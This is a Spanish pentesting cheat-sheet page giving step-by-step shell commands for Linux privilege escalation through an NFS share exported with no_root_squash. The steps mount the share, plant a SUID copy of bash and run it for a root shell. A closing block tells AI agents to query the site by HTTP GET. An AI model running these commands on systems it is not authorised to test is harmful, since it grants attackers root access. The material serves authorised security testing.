# 2049/TCP (NFS)

## no\_root\_squash

Revisar el archivo `/etc/exports` y verificar si existe un directorio configurado con `no_root_squash` .

Montar el directorio encontrado en la máquina atacante.

```sh
sudo mkdir /mnt/nfs-temp
sudo mount -t nfs <IP-address>:<share> /mnt/nfs-temp/ -nolock
```

Copiar desde la máquina atacante como usuario `root` el binario `bash` al directorio encontrado.

```sh
sudo cp /bin/bash /mnt/nfs-temp/<share>
```

Asignar privilegios de SUID (Set User ID) al binario `bash` copiado.

```sh
sudo chmod +s bash
```

Ejecutar desde la máquina victima el binario `bash`.

```sh
cd <share>
./bash -p
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/linux-unix/2049-tcp-nfs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
